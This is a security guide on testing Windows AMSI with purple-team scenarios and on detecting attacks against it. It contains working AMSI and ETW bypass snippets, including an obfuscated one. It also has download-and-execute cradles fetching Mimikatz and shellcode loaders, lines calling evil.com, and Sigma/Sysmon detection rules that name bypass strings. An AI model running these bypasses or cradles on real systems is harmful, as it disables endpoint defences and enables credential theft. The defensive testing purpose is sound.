Skip to content

AMSI - Antimalware Scan Interface Testing & Detection

Bron: docs.microsoft.com/windows/win32/amsi/ Auteur: Johan Beysen | Fox & Fish Cybersecurity


1. Overzicht

AMSI (Antimalware Scan Interface) is een Windows security feature geïntroduceerd in Windows 10 en Windows Server 2016 die een standaard interface biedt tussen applicaties en antimalware producten. AMSI maakt real-time scanning mogelijk van scripts, macros en andere dynamische code voordat deze wordt uitgevoerd.

Ontwikkelaar: Microsoft Geïntroduceerd: Windows 10 (2015) Type: Security API / Interface Platforms: Windows 10+, Windows Server 2016+ Documentatie: https://docs.microsoft.com/en-us/windows/win32/amsi/


2. Wat is AMSI?

2.1 Architectuur

┌─────────────────────────────────────────────────┐
│           Application/Script Engine              │
│  (PowerShell, VBScript, JScript, Office, etc.)  │
└────────────────┬────────────────────────────────┘
                 │
                 ↓
         ┌───────────────┐
         │   AMSI API    │  ← Interface Layer
         └───────┬───────┘
                 │
                 ↓
    ┌────────────────────────────┐
    │  Antimalware Provider(s)   │
    │  - Windows Defender        │
    │  - Third-party AV          │
    │  - EDR Solutions           │
    └────────────────────────────┘
                 │
                 ↓
         [Block or Allow]

2.2 Core Concept

AMSI is NIET een antivirus - het is een doorgeefluik tussen applicaties en AV engines.

Hoe het werkt: 1. Script engine (bijv. PowerShell) wil code uitvoeren 2. Content wordt naar AMSI API gestuurd 3. AMSI stuurt naar registered AV provider(s) 4. AV scant in-memory content 5. AV geeft verdict: Clean of Malicious 6. AMSI informeert script engine 7. Script engine blokkeert of executes


3. Waarom AMSI Belangrijk Is

3.1 Problemen die AMSI Oplost

Voor AMSI (Pre-2015):

# Malicious PowerShell
IEX (New-Object Net.WebClient).DownloadString('http://evil.com/payload.ps1')

# Problem: Script downloads and executes without any scanning
# AV only scans files on disk, not in-memory execution

Met AMSI (Post-2015):

# Zelfde malicious PowerShell
IEX (New-Object Net.WebClient).DownloadString('http://evil.com/payload.ps1')

# AMSI Flow:
# 1. PowerShell gives script to AMSI
# 2. AMSI scans content
# 3. Detects malicious patterns
# 4. Blocks execution
# 5. Error: "Script contains malicious content"

3.2 Attack Vectors die AMSI Detecteert

  1. Fileless Malware
  2. Scripts die nooit disk raken
  3. In-memory payloads
  4. Reflective DLL injection

  5. Living-off-the-Land

  6. Misbruik van legitimate tools
  7. PowerShell Empire
  8. Cobalt Strike beacons

  9. Obfuscated Scripts

  10. Base64 encoded payloads
  11. String concatenation
  12. Character substitution

  13. Document Macros

  14. Malicious Office macros
  15. VBA payloads
  16. Auto-executing code

  17. Script-based Attacks

  18. PowerShell exploits
  19. VBScript malware
  20. JavaScript threats

4. AMSI-Enabled Applications

4.1 Native AMSI Support

Application Version AMSI Coverage
PowerShell 5.0+ Full script scanning
VBScript Windows 10+ Full script scanning
JScript Windows 10+ Full script scanning
Office VBA Office 2016+ Macro scanning
Windows Script Host Windows 10+ WSH scripts
.NET Framework 4.8+ Dynamic code
JavaScript (Edge) Legacy Edge Script execution

4.2 Third-Party Integration

Applicaties kunnen AMSI integreren via:

// C++ Example
#include <amsi.h>

HAMSICONTEXT amsiContext;
HAMSISESSION amsiSession;

// Initialize AMSI
AmsiInitialize(L"MyApp", &amsiContext);
AmsiOpenSession(amsiContext, &amsiSession);

// Scan content
AMSI_RESULT result;
AmsiScanString(amsiContext, content, contentName, amsiSession, &result);

// Check result
if (result == AMSI_RESULT_DETECTED) {
    // Block execution
}


5. AMSI Testing Methodologie

5.1 Category 1: Basic Detection Validation

Doel: Verificatie dat AMSI enabled is en werkt

# Test 1: Known malicious string
IEX "Invoke-Mimikatz"

# Expected: Script blocked
# Error: "This script contains malicious content and has been blocked"

# Test 2: Credential dumping
IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1')

# Expected: Download/execution blocked

# Test 3: Shellcode execution
IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/CodeExecution/Invoke-Shellcode.ps1')

# Expected: Blocked by AMSI

5.2 Category 2: Obfuscation Detection

Doel: Test of AMSI obfuscated payloads detecteert

# Test 1: Base64 encoding
$encoded = 'SW52b2tlLU1pbWlrYXR6'
$decoded = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($encoded))
IEX $decoded

# Expected: Detected on decode/execution

# Test 2: String concatenation
$part1 = "Invoke-"
$part2 = "Mimikatz"
$payload = $part1 + $part2
IEX $payload

# Expected: Detected despite splitting

# Test 3: Character substitution
$obfuscated = "Inv`oke-Mim`ikatz"
IEX $obfuscated

# Expected: Detected

# Test 4: Variable indirection
$a = "IEX"
$b = "(New-Object Net.WebClient).DownloadString('http://evil.com/shell.ps1')"
& $a $b

# Expected: Detected

5.3 Category 3: AMSI Bypass Detection

Doel: Verificatie dat AMSI bypass attempts gedetecteerd worden door EDR

# === THESE ARE BYPASS ATTEMPTS - SHOULD BE DETECTED BY EDR ===

# Bypass 1: Memory patching (classic)
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

# Expected: EDR detects reflection abuse

# Bypass 2: Context nulling
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiContext','NonPublic,Static').SetValue($null, [IntPtr]::Zero)

# Expected: EDR detects AMSI tampering

# Bypass 3: Force error
[Diagnostics.Eventing.EventProvider].GetField('m_enabled','NonPublic,Instance').SetValue([Ref].Assembly.GetType('System.Management.Automation.Tracing.PSEtwLogProvider').GetField('etwProvider','NonPublic,Static').GetValue($null),0)

# Expected: EDR detects ETW tampering

# Bypass 4: DLL hijacking
# Copy malicious amsi.dll to working directory
Copy-Item C:\Temp\evil_amsi.dll .\amsi.dll

# Expected: EDR detects DLL load from suspicious location

5.4 Category 4: Advanced Evasion Techniques

Doel: Test advanced AV evasion detection

# Test 1: Process hollowing
$code = @"
// C# code for process hollowing
"@
Add-Type -TypeDefinition $code
[ProcessHollow]::Hollow()

# Expected: EDR behavioral detection

# Test 2: Reflective DLL injection
$bytes = [System.IO.File]::ReadAllBytes("C:\Temp\payload.dll")
[System.Reflection.Assembly]::Load($bytes)

# Expected: AMSI + EDR detection

# Test 3: PowerShell runspaces
$rs = [runspacefactory]::CreateRunspace()
$rs.Open()
$ps = [powershell]::Create()
$ps.Runspace = $rs
$ps.AddScript("Invoke-Mimikatz")
$ps.Invoke()

# Expected: AMSI scans runspace content

6. Practical Testing Commands

6.1 Test AMSI Status

# Check if AMSI is available
$amsi = [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')
if ($amsi) {
    Write-Host "[+] AMSI is present" -ForegroundColor Green
} else {
    Write-Host "[-] AMSI not found" -ForegroundColor Red
}

# Check PowerShell version (5.0+ has AMSI)
$PSVersionTable.PSVersion

# Check if AV provider is registered
Get-MpComputerStatus | Select-Object AMServiceEnabled, AntispywareEnabled, AntivirusEnabled

6.2 Test AMSI Detection

# Test function
function Test-AMSIDetection {
    param(
        [Parameter(Mandatory=$true)]
        [string]$TestString,
        [string]$TestName = "AMSI Test"
    )

    Write-Host "`n[*] Testing: $TestName" -ForegroundColor Cyan
    Write-Host "[*] Payload: $TestString" -ForegroundColor Gray

    try {
        IEX $TestString
        Write-Host "[!] NOT DETECTED - AMSI Failed" -ForegroundColor Red
        return $false
    } catch {
        if ($_.Exception.Message -like "*malicious*" -or $_.Exception.Message -like "*blocked*") {
            Write-Host "[+] DETECTED - AMSI Working" -ForegroundColor Green
            return $true
        } else {
            Write-Host "[?] Unknown error: $($_.Exception.Message)" -ForegroundColor Yellow
            return $null
        }
    }
}

# Run tests
$results = @()

$results += Test-AMSIDetection -TestString "Invoke-Mimikatz" -TestName "Mimikatz String"
$results += Test-AMSIDetection -TestString "Invoke-Shellcode" -TestName "Shellcode String"
$results += Test-AMSIDetection -TestString "Get-GPPPassword" -TestName "GPP Password"
$results += Test-AMSIDetection -TestString "Invoke-PowerShellTcp" -TestName "Reverse Shell"
$results += Test-AMSIDetection -TestString "Invoke-ReflectivePEInjection" -TestName "PE Injection"

# Summary
$detected = ($results | Where-Object {$_ -eq $true}).Count
$total = $results.Count
Write-Host "`n[*] Detection Rate: $detected/$total ($([math]::Round($detected/$total*100,2))%)" -ForegroundColor Cyan

6.3 Comprehensive Test Suite

# amsi_test_suite.ps1
# Comprehensive AMSI testing script

$TestResults = @()

# Test 1: Basic string detection
Write-Host "`n=== Test 1: Basic String Detection ===" -ForegroundColor Cyan
$tests = @(
    "Invoke-Mimikatz",
    "Invoke-Shellcode",
    "Get-GPPPassword",
    "Invoke-PowerShellTcp",
    "Invoke-ReflectivePEInjection",
    "Invoke-TokenManipulation"
)

foreach ($test in $tests) {
    try {
        IEX $test
        $result = "FAILED - Not Detected"
        $detected = $false
    } catch {
        $result = "PASSED - Detected"
        $detected = $true
    }

    $TestResults += [PSCustomObject]@{
        Category = "Basic Detection"
        Test = $test
        Result = $result
        Detected = $detected
    }
}

# Test 2: Download attempts
Write-Host "`n=== Test 2: Download Detection ===" -ForegroundColor Cyan
$urls = @(
    "https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1",
    "https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Mimikatz.ps1"
)

foreach ($url in $urls) {
    try {
        IEX (New-Object Net.WebClient).DownloadString($url)
        $result = "FAILED - Not Detected"
        $detected = $false
    } catch {
        $result = "PASSED - Detected"
        $detected = $true
    }

    $TestResults += [PSCustomObject]@{
        Category = "Download Detection"
        Test = $url
        Result = $result
        Detected = $detected
    }
}

# Test 3: Obfuscation
Write-Host "`n=== Test 3: Obfuscation Detection ===" -ForegroundColor Cyan

# Base64
try {
    $b64 = 'SW52b2tlLU1pbWlrYXR6'
    IEX ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($b64)))
    $result = "FAILED - Not Detected"
    $detected = $false
} catch {
    $result = "PASSED - Detected"
    $detected = $true
}

$TestResults += [PSCustomObject]@{
    Category = "Obfuscation"
    Test = "Base64 Encoding"
    Result = $result
    Detected = $detected
}

# String concatenation
try {
    $a = "Invoke-"
    $b = "Mimikatz"
    IEX ($a + $b)
    $result = "FAILED - Not Detected"
    $detected = $false
} catch {
    $result = "PASSED - Detected"
    $detected = $true
}

$TestResults += [PSCustomObject]@{
    Category = "Obfuscation"
    Test = "String Concatenation"
    Result = $result
    Detected = $detected
}

# Test 4: AMSI Bypass Detection (should be blocked by EDR)
Write-Host "`n=== Test 4: AMSI Bypass Detection ===" -ForegroundColor Cyan

try {
    [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
    $result = "FAILED - Bypass Successful"
    $detected = $false
} catch {
    $result = "PASSED - Bypass Blocked"
    $detected = $true
}

$TestResults += [PSCustomObject]@{
    Category = "Bypass Detection"
    Test = "AMSI Memory Patch"
    Result = $result
    Detected = $detected
}

# Generate Report
Write-Host "`n========== TEST SUMMARY ==========" -ForegroundColor Cyan
$TestResults | Format-Table -AutoSize

$totalTests = $TestResults.Count
$detectedTests = ($TestResults | Where-Object Detected -eq $true).Count
$detectionRate = [math]::Round($detectedTests / $totalTests * 100, 2)

Write-Host "`nTotal Tests: $totalTests" -ForegroundColor White
Write-Host "Detected: $detectedTests" -ForegroundColor Green
Write-Host "Missed: $($totalTests - $detectedTests)" -ForegroundColor Red
Write-Host "Detection Rate: $detectionRate%" -ForegroundColor Cyan

# Export results
$timestamp = Get-Date -Format "yyyyMMdd_HHmmss"
$TestResults | Export-Csv -Path "C:\Temp\AMSI_Test_Results_$timestamp.csv" -NoTypeInformation
Write-Host "`nResults exported to: C:\Temp\AMSI_Test_Results_$timestamp.csv" -ForegroundColor Yellow

6.4 VBScript Testing

' test_amsi.vbs
' Basic AMSI test for VBScript

Dim objShell, objFSO
Set objShell = CreateObject("WScript.Shell")
Set objFSO = CreateObject("Scripting.FileSystemObject")

' Test 1: Execute suspicious command
On Error Resume Next
objShell.Run "powershell.exe -Command Invoke-Mimikatz", 0, True
If Err.Number <> 0 Then
    WScript.Echo "Test 1: PASSED - Command blocked"
Else
    WScript.Echo "Test 1: FAILED - Command executed"
End If
On Error GoTo 0

' Test 2: Download and execute
On Error Resume Next
objShell.Run "powershell.exe -Command IEX (New-Object Net.WebClient).DownloadString('http://malicious.com/payload.ps1')", 0, True
If Err.Number <> 0 Then
    WScript.Echo "Test 2: PASSED - Download blocked"
Else
    WScript.Echo "Test 2: FAILED - Download succeeded"
End If
On Error GoTo 0

WScript.Echo "AMSI VBScript tests complete"

6.5 Office Macro Testing

' Office VBA Macro - AMSI Test
' WARNING: Only use in isolated test environment

Sub TestAMSI()
    Dim result As String

    ' Test 1: Basic malicious string
    On Error Resume Next
    result = ExecuteCommand("Invoke-Mimikatz")
    If Err.Number <> 0 Then
        Debug.Print "Test 1: PASSED - Blocked by AMSI"
    Else
        Debug.Print "Test 1: FAILED - Not blocked"
    End If
    On Error GoTo 0

    ' Test 2: Download attempt
    On Error Resume Next
    result = ExecuteCommand("IEX (New-Object Net.WebClient).DownloadString('http://evil.com/payload.ps1')")
    If Err.Number <> 0 Then
        Debug.Print "Test 2: PASSED - Blocked by AMSI"
    Else
        Debug.Print "Test 2: FAILED - Not blocked"
    End If
    On Error GoTo 0

    MsgBox "AMSI tests complete - check Immediate window"
End Sub

Function ExecuteCommand(cmd As String) As String
    Dim objShell As Object
    Set objShell = CreateObject("WScript.Shell")
    ExecuteCommand = objShell.Exec("powershell.exe -Command " & cmd).StdOut.ReadAll
    Set objShell = Nothing
End Function

7. AMSI Bypass Techniques (For Detection Testing)

Kritieke Waarschuwing

Deze bypasses zijn voor het TESTEN van je detection capabilities. Je wilt dat je EDR deze detecteert en blokkeert!

7.1 Common AMSI Bypasses

Bypass 1: Classic Memory Patch

# This should be DETECTED by EDR
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

# Expected EDR behavior:
# - Detect reflection abuse
# - Block SetValue operation
# - Generate alert
# - Log attempt

Bypass 2: Context Nulling

# This should be DETECTED by EDR
$mem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(9076)
[Ref].Assembly.GetType("System.Management.Automation.AmsiUtils").GetField("amsiContext","NonPublic,Static").SetValue($null, $mem)

# Expected EDR behavior:
# - Detect memory manipulation
# - Identify AMSI context tampering
# - Block operation

Bypass 3: ETW Patching

# This should be DETECTED by EDR
[Diagnostics.Eventing.EventProvider].GetField('m_enabled','NonPublic,Instance').SetValue([Ref].Assembly.GetType('System.Management.Automation.Tracing.PSEtwLogProvider').GetField('etwProvider','NonPublic,Static').GetValue($null),0)

# Expected EDR behavior:
# - Detect ETW tampering
# - Recognize logging bypass attempt
# - Alert on suspicious reflection

Bypass 4: Obfuscated Bypass

# Obfuscated version - still should be DETECTED
$a=[Ref].Assembly.GetType('System.Management.Automation.'+$([char]65+[char]109+[char]115+[char]105)+'Utils')
$b=$a.GetField('amsi'+$([char]73+[char]110+[char]105+[char]116)+'Failed','NonPublic,Static')
$b.SetValue($null,$true)

# Expected EDR behavior:
# - Detect despite obfuscation
# - Behavioral detection of AMSI tampering

Bypass 5: Force Error

# Force AMSI initialization to fail
$a = [Ref].Assembly.GetTypes()
ForEach($b in $a) {
    if ($b.Name -like "*iUtils") {
        $c=$b
    }
}
$d=$c.GetFields('NonPublic,Static')
ForEach($e in $d) {
    if ($e.Name -like "*Context") {
        $f=$e
    }
}
$f.SetValue($null,[IntPtr]::Zero)

# Expected EDR behavior:
# - Detect reflection patterns
# - Identify AMSI-related field access

7.2 Testing EDR Against Bypasses

# test_bypass_detection.ps1
# Verify EDR detects AMSI bypass attempts

function Test-BypassDetection {
    param(
        [string]$BypassName,
        [scriptblock]$BypassCode
    )

    Write-Host "`n[*] Testing bypass: $BypassName" -ForegroundColor Cyan

    try {
        & $BypassCode

        # If we get here, bypass worked (BAD)
        Write-Host "[!] FAILED - Bypass succeeded, EDR did not detect" -ForegroundColor Red

        # Try to execute malicious code
        try {
            IEX "Invoke-Mimikatz"
            Write-Host "[!] CRITICAL - Malicious code executed!" -ForegroundColor Red
            return "FAILED"
        } catch {
            Write-Host "[?] Bypass worked but AMSI still detecting" -ForegroundColor Yellow
            return "PARTIAL"
        }
    } catch {
        # Bypass blocked (GOOD)
        Write-Host "[+] PASSED - EDR blocked bypass attempt" -ForegroundColor Green
        Write-Host "    Error: $($_.Exception.Message)" -ForegroundColor Gray
        return "PASSED"
    }
}

# Test various bypasses
$results = @()

$results += Test-BypassDetection -BypassName "Memory Patch" -BypassCode {
    [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
}

$results += Test-BypassDetection -BypassName "Context Nulling" -BypassCode {
    [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiContext','NonPublic,Static').SetValue($null, [IntPtr]::Zero)
}

$results += Test-BypassDetection -BypassName "ETW Patching" -BypassCode {
    [Diagnostics.Eventing.EventProvider].GetField('m_enabled','NonPublic,Instance').SetValue([Ref].Assembly.GetType('System.Management.Automation.Tracing.PSEtwLogProvider').GetField('etwProvider','NonPublic,Static').GetValue($null),0)
}

# Summary
$passed = ($results | Where-Object {$_ -eq "PASSED"}).Count
$total = $results.Count

Write-Host "`n========== SUMMARY ==========" -ForegroundColor Cyan
Write-Host "EDR Protection Rate: $passed/$total ($([math]::Round($passed/$total*100,2))%)" -ForegroundColor White
if ($passed -eq $total) {
    Write-Host "EDR is protecting against AMSI bypasses" -ForegroundColor Green
} else {
    Write-Host "EDR needs tuning - some bypasses succeed" -ForegroundColor Red
}

8. Detection & Monitoring

8.1 Windows Event Logs

Event IDs to Monitor

Event ID Log Description
1116 Windows Defender Operational Malware detected
1117 Windows Defender Operational Action taken
4104 PowerShell Operational Script Block Logging
4103 PowerShell Operational Module Logging
8 Windows Defender Operational AMSI detection

PowerShell Log Analysis

# Check for AMSI detections
Get-WinEvent -FilterHashtable @{
    LogName = 'Microsoft-Windows-Windows Defender/Operational'
    ID = 1116, 1117
} | Where-Object {
    $_.Message -like "*AMSI*" -or $_.Message -like "*malicious*"
} | Select-Object TimeCreated, Id, Message | Format-List

# Check PowerShell Script Block Logging
Get-WinEvent -FilterHashtable @{
    LogName = 'Microsoft-Windows-PowerShell/Operational'
    ID = 4104
} | Where-Object {
    $_.Message -like "*Invoke-Mimikatz*" -or
    $_.Message -like "*Invoke-Shellcode*" -or
    $_.Message -like "*AmsiUtils*"
} | Select-Object TimeCreated, Message | Format-List

# Check for AMSI bypass attempts
Get-WinEvent -FilterHashtable @{
    LogName = 'Microsoft-Windows-PowerShell/Operational'
    ID = 4104
} | Where-Object {
    $_.Message -like "*AmsiUtils*" -or
    $_.Message -like "*amsiInitFailed*" -or
    $_.Message -like "*amsiContext*"
} | Select-Object TimeCreated, Message | Format-List

Real-time Monitoring

# Monitor for AMSI events in real-time
$query = @"
<QueryList>
  <Query Id="0" Path="Microsoft-Windows-Windows Defender/Operational">
    <Select Path="Microsoft-Windows-Windows Defender/Operational">
      *[System[(EventID=1116 or EventID=1117)]]
    </Select>
  </Query>
  <Query Id="1" Path="Microsoft-Windows-PowerShell/Operational">
    <Select Path="Microsoft-Windows-PowerShell/Operational">
      *[System[(EventID=4104)]]
    </Select>
  </Query>
</QueryList>
"@

# Start watching
Write-Host "[*] Monitoring AMSI events (Ctrl+C to stop)..." -ForegroundColor Cyan
Get-WinEvent -FilterXml $query -MaxEvents 1 -ErrorAction SilentlyContinue | Out-Null

Register-WmiEvent -Query "SELECT * FROM __InstanceCreationEvent WITHIN 1 WHERE TargetInstance ISA 'Win32_NTLogEvent' AND TargetInstance.LogFile='Microsoft-Windows-Windows Defender/Operational'" -Action {
    $event = $Event.SourceEventArgs.NewEvent.TargetInstance
    if ($event.EventCode -eq 1116 -or $event.EventCode -eq 1117) {
        Write-Host "[!] AMSI Detection: $($event.Message)" -ForegroundColor Red
    }
}

# Keep running
while ($true) { Start-Sleep -Seconds 1 }

8.2 Sysmon Configuration

<!-- Sysmon config for AMSI monitoring -->
<Sysmon schemaversion="4.82">
  <EventFiltering>
    <!-- Capture PowerShell with suspicious strings -->
    <ProcessCreate onmatch="include">
      <CommandLine condition="contains">AmsiUtils</CommandLine>
      <CommandLine condition="contains">amsiInitFailed</CommandLine>
      <CommandLine condition="contains">amsiContext</CommandLine>
      <CommandLine condition="contains">Invoke-Mimikatz</CommandLine>
      <CommandLine condition="contains">Invoke-Shellcode</CommandLine>
    </ProcessCreate>

    <!-- Capture .NET assembly loads -->
    <ImageLoad onmatch="include">
      <ImageLoaded condition="contains">amsi.dll</ImageLoaded>
    </ImageLoad>
  </EventFiltering>
</Sysmon>

8.3 SIEM Queries

Splunk Query

# Detect AMSI bypass attempts
index=windows source="WinEventLog:Microsoft-Windows-PowerShell/Operational" EventCode=4104
| search Message="*AmsiUtils*" OR Message="*amsiInitFailed*" OR Message="*amsiContext*"
| table _time, Computer, User, Message
| sort -_time

Elastic Query

{
  "query": {
    "bool": {
      "must": [
        {"match": {"event.code": "4104"}},
        {"query_string": {
          "query": "AmsiUtils OR amsiInitFailed OR amsiContext"
        }}
      ]
    }
  }
}

Sigma Rule

title: AMSI Bypass Attempt Detected
id: b0d77106-7bb0-41fe-bd94-d1e38f8cd0e2
status: experimental
description: Detects attempts to bypass AMSI via reflection
author: Security Team
date: 2025/12/01
logsource:
    product: windows
    service: powershell
    definition: 'Script Block Logging must be enabled'
detection:
    selection:
        EventID: 4104
        ScriptBlockText|contains:
            - 'AmsiUtils'
            - 'amsiInitFailed'
            - 'amsiContext'
            - 'AmsiScanBuffer'
    condition: selection
falsepositives:
    - Security research
    - Legitimate testing
level: high
tags:
    - attack.defense_evasion
    - attack.t1562.001

9. Tools for AMSI Testing

9.1 AMSITrigger

Doel: Identify exact strings that trigger AMSI

# Download AMSITrigger
# https://github.com/RythmStick/AMSITrigger

# Usage
.\AmsiTrigger.exe -i malicious_script.ps1

# Output example:
# [AMSI] Line: 10 - 'Invoke-Mimikatz'
# [AMSI] Line: 25 - 'Get-GPPPassword'
# [AMSI] Line: 40 - 'Invoke-Shellcode'

# Use case: Identify what needs to be obfuscated (for Red Team)
#           Or what signatures are working (for Blue Team)

9.2 Invoke-Obfuscation

Doel: Test obfuscation detection capabilities

# https://github.com/danielbohannon/Invoke-Obfuscation

Import-Module .\Invoke-Obfuscation.psd1
Invoke-Obfuscation

# Interactive menu
# 1. Set script path
# 2. Apply obfuscation
# 3. Test if AMSI detects obfuscated version

# Use case: Test if AMSI/EDR detects obfuscated payloads

9.3 ISESteroids (Development)

# Add AMSI testing to PowerShell ISE
Install-Module -Name ISESteroids

# Features:
# - Real-time AMSI scanning as you type
# - Highlight suspicious strings
# - Test scripts before execution

9.4 Custom AMSI Tester

# custom_amsi_tester.ps1
# Standalone AMSI testing tool

Add-Type -TypeDefinition @"
using System;
using System.Runtime.InteropServices;

public class AmsiNative {
    [DllImport("amsi.dll", CharSet = CharSet.Unicode)]
    public static extern int AmsiInitialize(string appName, out IntPtr amsiContext);

    [DllImport("amsi.dll", CharSet = CharSet.Unicode)]
    public static extern int AmsiOpenSession(IntPtr amsiContext, out IntPtr amsiSession);

    [DllImport("amsi.dll", CharSet = CharSet.Unicode)]
    public static extern int AmsiScanString(
        IntPtr amsiContext,
        string @string,
        string contentName,
        IntPtr amsiSession,
        out int result
    );

    [DllImport("amsi.dll")]
    public static extern void AmsiCloseSession(IntPtr amsiContext, IntPtr amsiSession);

    [DllImport("amsi.dll")]
    public static extern void AmsiUninitialize(IntPtr amsiContext);
}
"@

function Test-StringWithAMSI {
    param([string]$TestString)

    $amsiContext = [IntPtr]::Zero
    $amsiSession = [IntPtr]::Zero
    $result = 0

    try {
        # Initialize AMSI
        $hr = [AmsiNative]::AmsiInitialize("PowerShell_Test", [ref]$amsiContext)
        if ($hr -ne 0) {
            Write-Host "[-] AMSI initialization failed" -ForegroundColor Red
            return
        }

        # Open session
        $hr = [AmsiNative]::AmsiOpenSession($amsiContext, [ref]$amsiSession)
        if ($hr -ne 0) {
            Write-Host "[-] Failed to open AMSI session" -ForegroundColor Red
            return
        }

        # Scan string
        $hr = [AmsiNative]::AmsiScanString(
            $amsiContext,
            $TestString,
            "TestContent",
            $amsiSession,
            [ref]$result
        )

        # Interpret result
        # 0 = AMSI_RESULT_CLEAN
        # 1 = AMSI_RESULT_NOT_DETECTED
        # 32768 = AMSI_RESULT_DETECTED

        switch ($result) {
            0       { Write-Host "[+] Clean" -ForegroundColor Green }
            1       { Write-Host "[?] Not Detected" -ForegroundColor Yellow }
            32768   { Write-Host "[!] MALICIOUS - Detected" -ForegroundColor Red }
            default { Write-Host "[?] Unknown result: $result" -ForegroundColor Yellow }
        }

        return $result

    } finally {
        # Cleanup
        if ($amsiSession -ne [IntPtr]::Zero) {
            [AmsiNative]::AmsiCloseSession($amsiContext, $amsiSession)
        }
        if ($amsiContext -ne [IntPtr]::Zero) {
            [AmsiNative]::AmsiUninitialize($amsiContext)
        }
    }
}

# Usage
Test-StringWithAMSI -TestString "Invoke-Mimikatz"
Test-StringWithAMSI -TestString "Hello World"
Test-StringWithAMSI -TestString "IEX (New-Object Net.WebClient).DownloadString('http://evil.com/payload.ps1')"

10. Integration met Security Stack

10.1 FortiEDR Integration

Test FortiEDR AMSI Protection:

# Test 1: Basic AMSI detection
Write-Host "[*] Test 1: Basic AMSI Detection"
try {
    IEX "Invoke-Mimikatz"
} catch {
    Write-Host "[+] Blocked by AMSI" -ForegroundColor Green
}

# Expected FortiEDR behavior:
# - Log AMSI detection
# - Correlate with process behavior
# - Generate alert if part of attack chain

# Test 2: AMSI bypass detection
Write-Host "`n[*] Test 2: AMSI Bypass Detection"
try {
    [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
} catch {
    Write-Host "[+] Bypass blocked by FortiEDR" -ForegroundColor Green
}

# Expected FortiEDR behavior:
# - Detect reflection abuse
# - Identify AMSI tampering
# - Block process
# - Generate high-severity alert

# Test 3: Post-bypass detection
Write-Host "`n[*] Test 3: Post-Bypass Behavioral Detection"
# Even if AMSI bypass succeeds, FortiEDR should detect malicious behavior
try {
    # Simulate credential dumping
    $proc = Get-Process lsass
    # FortiEDR should block LSASS access
} catch {
    Write-Host "[+] Behavioral detection active" -ForegroundColor Green
}

# Expected FortiEDR behavior:
# - Behavioral analysis continues
# - LSASS access attempt detected
# - Process terminated

10.2 FortiAnalyzer Logging

# Query FortiAnalyzer for AMSI events
# Via FortiAnalyzer CLI or GUI

# Search for AMSI-related events
devname contains "FortiClient" AND
(msg contains "AMSI" OR msg contains "PowerShell" OR msg contains "Script")
AND severity >= "high"

# Expected log entries:
# - AMSI detections
# - Bypass attempts
# - Behavioral alerts
# - Process terminations

10.3 Atomic Red Team + AMSI

# Atomic Red Team has AMSI-specific tests
Invoke-AtomicTest T1562.001  # Disable or Modify Tools

# This technique includes AMSI bypass attempts
# Test if your stack detects:
# 1. AMSI bypass
# 2. Post-bypass malicious activity
# 3. Logging/alerting quality

# Verify in:
# - FortiEDR console
# - FortiAnalyzer logs
# - Windows Event Logs

11. Purple Team Scenarios

11.1 Scenario 1: AMSI Detection Validation

Objective: Verify AMSI is working correctly

# BLUE TEAM: Verify AMSI enabled
Get-MpComputerStatus | Select-Object AMServiceEnabled, RealTimeProtectionEnabled

# RED TEAM: Execute known malicious script
IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1')

# BLUE TEAM: Verify detection
# 1. Check Windows Defender logs (Event ID 1116)
Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-Windows Defender/Operational'; ID=1116} -MaxEvents 5

# 2. Check PowerShell logs (Event ID 4104)
Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-PowerShell/Operational'; ID=4104} -MaxEvents 5 |
    Where-Object {$_.Message -like "*Mimikatz*"}

# 3. Check FortiEDR console for alerts

# METRICS:
# - Detection time: < 1 second
# - Alert generated: YES
# - Process blocked: YES
# - Logged in SIEM: YES

11.2 Scenario 2: AMSI Bypass Detection

Objective: Verify EDR detects AMSI bypass attempts

# BLUE TEAM: Enable behavioral detection
# Ensure FortiEDR is running with AMSI protection

# RED TEAM: Attempt AMSI bypass
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

# BLUE TEAM: Verify bypass was detected
# Expected:
# - FortiEDR blocks reflection operation
# - Alert: "AMSI tampering detected"
# - Process terminated or sandboxed

# If bypass succeeds (BAD):
# - Tune EDR rules
# - Add custom detection for reflection abuse
# - Enable additional behavioral monitoring

# RED TEAM: Post-bypass activity test
# Even if bypass works, test if EDR detects subsequent malicious activity
IEX "Invoke-Mimikatz"

# BLUE TEAM: Verify behavioral detection
# EDR should detect credential dumping regardless of AMSI state

11.3 Scenario 3: Obfuscation Detection

Objective: Test detection of obfuscated payloads

# RED TEAM: Base64 obfuscated Mimikatz
$b64 = 'SW52b2tlLU1pbWlrYXR6IC1EdW1wQ3JlZHM='
$decoded = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($b64))
IEX $decoded

# BLUE TEAM: Verify detection
# AMSI should detect on decode/execution
# Check logs for:
# - Base64 decode operation
# - Mimikatz string detection
# - Execution blocked

# RED TEAM: Advanced obfuscation
# Use Invoke-Obfuscation for more complex evasion
# Test multiple obfuscation layers

# BLUE TEAM: Measure detection effectiveness
